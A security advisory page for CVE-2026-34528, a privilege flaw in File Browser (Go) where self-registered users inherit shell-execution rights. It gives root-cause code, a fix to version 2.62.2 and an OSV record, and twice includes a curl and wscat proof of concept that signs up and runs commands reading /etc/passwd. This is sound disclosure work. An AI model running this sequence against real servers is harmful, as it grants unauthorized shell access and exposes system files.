CVE-2026-34528: Github.com/filebrowser/filebrowser/v2 File Browser's Signup Grants Execution Vulnerability

HIGH
Advisory Identifier: GHSA-x8jc-jvqm-pm3f
CVSS 8.1
CWE-269
Published
Advisory Summary

CVE-2026-34528 is a HIGH (CVSS 8.1) file browser's signup grants execution vulnerability (CWE-269: Improper Privilege Management) affecting Github.com/filebrowser/filebrowser/v2 libraries in the Go ecosystem. The issue involves file browser's signup grants execution permissions when default permissions includes execution. Remediation is available by upgrading affected packages to version 2.62.2.

CVE-2026-34528 at a Glance

CVE Identifier CVE-2026-34528
GHSA Identifier GHSA-x8jc-jvqm-pm3f
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-269: Improper Privilege Management
Affected Product Github.com/filebrowser/filebrowser/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-34528

To remediate this vulnerability, upgrade all affected Github.com/filebrowser/filebrowser/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/filebrowser/filebrowser/v2 fixed: 2.62.2
Upgrade github.com/filebrowser/filebrowser/v2 to 2.62.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/filebrowser/filebrowser/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34528, inspect your project dependencies for Github.com/filebrowser/filebrowser/v2:

inspect dependencies for github.com/filebrowser/filebrowser/v2

Analyze the terminal output to locate any version of Github.com/filebrowser/filebrowser/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.62.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In Github.com/filebrowser/filebrowser/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `signupHandler` in File Browser applies default user permissions via `d.settings.Defaults.Apply(user)`, then strips only `Admin` (commit `a63573b`). The `Execute` permission and `Commands` list from the default user template are **not** stripped. When an administrator has enabled signup, server-side execution, and set `Execute=true` in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server. ## Details ### Root Cause `signupHandler` at `http/auth.go:167–172` applies all default permissions before stripping only `Admin`: ```go // http/auth.go d.settings.Defaults.Apply(user) // copies ALL permissions from defaults // Only Admin is stripped — Execute, Commands are still inherited user.Perm.Admin = false // user.Perm.Execute remains true if set in defaults // user.Commands remains populated if set in defaults ``` `settings/defaults.go:31–33` confirms `Apply` copies the full permissions struct including Execute and Commands: ```go func (d *UserDefaults) Apply(u *users.User) { u.Perm = d.Perm // includes Execute u.Commands = d.Commands // includes allowed shell commands // ... } ``` The `commandsHandler` at `http/commands.go:63–66` checks both the server-wide `EnableExec` flag and `d.user.Perm.Execute`: ```go if !d.server.EnableExec || !d.user.Perm.Execute { // writes "Command not allowed." and returns } ``` The `withUser` middleware reads `d.user` from the database at request time (`http/auth.go:103`), so the persisted `Execute=true` and `Commands` values from signup are authoritative. The command allowlist check at `commands.go:80` passes because the user's `Commands` list contains the inherited default commands: ```go if !slices.Contains(d.user.Commands, name) { // writes "Command not allowed." and returns } ``` ### Execution Flow 1. Admin configures: `Signup=true`, `EnableExec=true`, `Defaults.Perm.Execute=true`, `Defaults.Commands=["bash"]` 2. Unauthenticated attacker POSTs to `/api/signup` → new user created with `Execute=true`, `Commands=["bash"]` 3. Attacker logs in → receives JWT with valid user ID 4. Attacker opens WebSocket to `/api/command/` → `withUser` fetches user from DB, `Execute=true` passes check 5. Attacker sends `bash` over WebSocket → `exec.Command("bash")` is invoked → arbitrary shell execution This is a direct consequence of the incomplete fix in commit `a63573b` (CVE-2026-32760 / GHSA-5gg9-5g7w-hm73), which applied the same rationale ("signup users should not inherit privileged defaults") only to `Admin`, not to `Execute` and `Commands`. ## PoC ```bash TARGET="http://localhost:8080" # Step 1: Self-register (no authentication required) curl -s -X POST "$TARGET/api/signup" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"AttackerP@ss1!"}' # Returns: 200 OK # Step 2: Log in and capture token TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"AttackerP@ss1!"}' | tr -d '"') # Step 3: Inspect inherited permissions (decode JWT payload) echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool # Expected output (if defaults have Execute=true, Commands=["bash"]): # { # "user": { # "perm": { "execute": true, ... }, # "commands": ["bash"], # ... # } # } # Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat) echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | \ wscat --header "X-Auth: $TOKEN" \ --connect "$TARGET/api/command/" \ --wait 3 # Expected: uid=... hostname output followed by /etc/passwd lines ``` ## Impact On any deployment where an administrator has: 1. Enabled public self-registration (`signup = true`) 2. Enabled server-side command execution (`enableExec = true`) 3. Set `Execute = true` in the default user template 4. Populated `Commands` with one or more shell commands An unauthenticated attacker can self-register and immediately gain the ability to run arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed. This is a complete server compromise for processes running as root, and a significant lateral movement vector otherwise. The original `Admin` fix (GHSA-5gg9-5g7w-hm73) demonstrates that the project explicitly recognizes that self-registered users should not inherit privileged defaults. The `Execute` + `Commands` omission is an incomplete application of that principle. ## Recommended Fix Extend the existing Admin stripping in `http/auth.go` to also clear `Execute` and `Commands` for self-registered users: ```go // http/auth.go — after d.settings.Defaults.Apply(user) // Users signed up via the signup handler should never become admins, even // if that is the default permission. user.Perm.Admin = false // Self-registered users should not inherit execution capabilities from // default settings, regardless of what the administrator has configured // as the default. Execution rights must be explicitly granted by an admin. user.Perm.Execute = false user.Commands = []string{} ```

CVE-2026-34528 Affected Github.com/filebrowser/filebrowser/v2 Versions

1 component(s)
Fixed Versions:
2.62.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/filebrowser/filebrowser/v2
Go
< 2.62.2
2.62.2

References

Frequently Asked Questions

What is CVE-2026-34528?
CVE-2026-34528 is a security vulnerability in Github.com/filebrowser/filebrowser/v2 involving File Browser's Signup Grants Execution Permissions When Default Permissions Includes Execution under CWE-269: Improper Privilege Management.
Which Github.com/filebrowser/filebrowser/v2 versions are affected?
Affected versions include releases prior to 2.62.2 across affected packages: github.com/filebrowser/filebrowser/v2.
What version fixes CVE-2026-34528?
Upgrading to 2.62.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/filebrowser/filebrowser/v2 affected?
Yes, github.com/filebrowser/filebrowser/v2 is affected in releases prior to 2.62.2. Upgrade your dependency to 2.62.2 or later.
What is the CVSS score of CVE-2026-34528?
CVE-2026-34528 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-34528?
CVE-2026-34528 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).
How can I check Go dependencies for CVE-2026-34528?
Run the dependency tree command: 'inspect dependencies for github.com/filebrowser/filebrowser/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x8jc-jvqm-pm3f",
  "modified" : "2026-04-06T17:13:33Z",
  "published" : "2026-03-31T23:44:53Z",
  "aliases" : [ "CVE-2026-34528" ],
  "summary" : "File Browser's Signup Grants Execution Permissions When Default Permissions Includes Execution",
  "details" : "## Summary\n\nThe `signupHandler` in File Browser applies default user permissions via `d.settings.Defaults.Apply(user)`, then strips only `Admin` (commit `a63573b`). The `Execute` permission and `Commands` list from the default user template are **not** stripped. When an administrator has enabled signup, server-side execution, and set `Execute=true` in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server.\n\n## Details\n\n### Root Cause\n\n`signupHandler` at `http/auth.go:167–172` applies all default permissions before stripping only `Admin`:\n\n```go\n// http/auth.go\nd.settings.Defaults.Apply(user)   // copies ALL permissions from defaults\n\n// Only Admin is stripped — Execute, Commands are still inherited\nuser.Perm.Admin = false\n// user.Perm.Execute remains true if set in defaults\n// user.Commands remains populated if set in defaults\n```\n\n`settings/defaults.go:31–33` confirms `Apply` copies the full permissions struct including Execute and Commands:\n\n```go\nfunc (d *UserDefaults) Apply(u *users.User) {\n    u.Perm = d.Perm          // includes Execute\n    u.Commands = d.Commands  // includes allowed shell commands\n    // ...\n}\n```\n\nThe `commandsHandler` at `http/commands.go:63–66` checks both the server-wide `EnableExec` flag and `d.user.Perm.Execute`:\n\n```go\nif !d.server.EnableExec || !d.user.Perm.Execute {\n    // writes \"Command not allowed.\" and returns\n}\n```\n\nThe `withUser` middleware reads `d.user` from the database at request time (`http/auth.go:103`), so the persisted `Execute=true` and `Commands` values from signup are authoritative. The command allowlist check at `commands.go:80` passes because the user's `Commands` list contains the inherited default commands:\n\n```go\nif !slices.Contains(d.user.Commands, name) {\n    // writes \"Command not allowed.\" and returns\n}\n```\n\n### Execution Flow\n\n1. Admin configures: `Signup=true`, `EnableExec=true`, `Defaults.Perm.Execute=true`, `Defaults.Commands=[\"bash\"]`\n2. Unauthenticated attacker POSTs to `/api/signup` → new user created with `Execute=true`, `Commands=[\"bash\"]`\n3. Attacker logs in → receives JWT with valid user ID\n4. Attacker opens WebSocket to `/api/command/` → `withUser` fetches user from DB, `Execute=true` passes check\n5. Attacker sends `bash` over WebSocket → `exec.Command(\"bash\")` is invoked → arbitrary shell execution\n\nThis is a direct consequence of the incomplete fix in commit `a63573b` (CVE-2026-32760 / GHSA-5gg9-5g7w-hm73), which applied the same rationale (\"signup users should not inherit privileged defaults\") only to `Admin`, not to `Execute` and `Commands`.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8080\"\n\n# Step 1: Self-register (no authentication required)\ncurl -s -X POST \"$TARGET/api/signup\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"attacker\",\"password\":\"AttackerP@ss1!\"}'\n# Returns: 200 OK\n\n# Step 2: Log in and capture token\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"attacker\",\"password\":\"AttackerP@ss1!\"}' | tr -d '\"')\n\n# Step 3: Inspect inherited permissions (decode JWT payload)\necho \"$TOKEN\" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool\n# Expected output (if defaults have Execute=true, Commands=[\"bash\"]):\n# {\n#   \"user\": {\n#     \"perm\": { \"execute\": true, ... },\n#     \"commands\": [\"bash\"],\n#     ...\n#   }\n# }\n\n# Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat)\necho '{\"command\":\"bash -c \\\"id && hostname && cat /etc/passwd | head -3\\\"\"}' | \\\n  wscat --header \"X-Auth: $TOKEN\" \\\n        --connect \"$TARGET/api/command/\" \\\n        --wait 3\n# Expected: uid=... hostname output followed by /etc/passwd lines\n```\n\n## Impact\n\nOn any deployment where an administrator has:\n1. Enabled public self-registration (`signup = true`)\n2. Enabled server-side command execution (`enableExec = true`)\n3. Set `Execute = true` in the default user template\n4. Populated `Commands` with one or more shell commands\n\nAn unauthenticated attacker can self-register and immediately gain the ability to run arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed. This is a complete server compromise for processes running as root, and a significant lateral movement vector otherwise.\n\nThe original `Admin` fix (GHSA-5gg9-5g7w-hm73) demonstrates that the project explicitly recognizes that self-registered users should not inherit privileged defaults. The `Execute` + `Commands` omission is an incomplete application of that principle.\n\n## Recommended Fix\n\nExtend the existing Admin stripping in `http/auth.go` to also clear `Execute` and `Commands` for self-registered users:\n\n```go\n// http/auth.go — after d.settings.Defaults.Apply(user)\n\n// Users signed up via the signup handler should never become admins, even\n// if that is the default permission.\nuser.Perm.Admin = false\n\n// Self-registered users should not inherit execution capabilities from\n// default settings, regardless of what the administrator has configured\n// as the default. Execution rights must be explicitly granted by an admin.\nuser.Perm.Execute = false\nuser.Commands = []string{}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.62.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.62.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-x8jc-jvqm-pm3f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34528"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/filebrowser/filebrowser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T23:44:53Z",
    "nvd_published_at" : "2026-04-01T21:17:00Z"
  }
}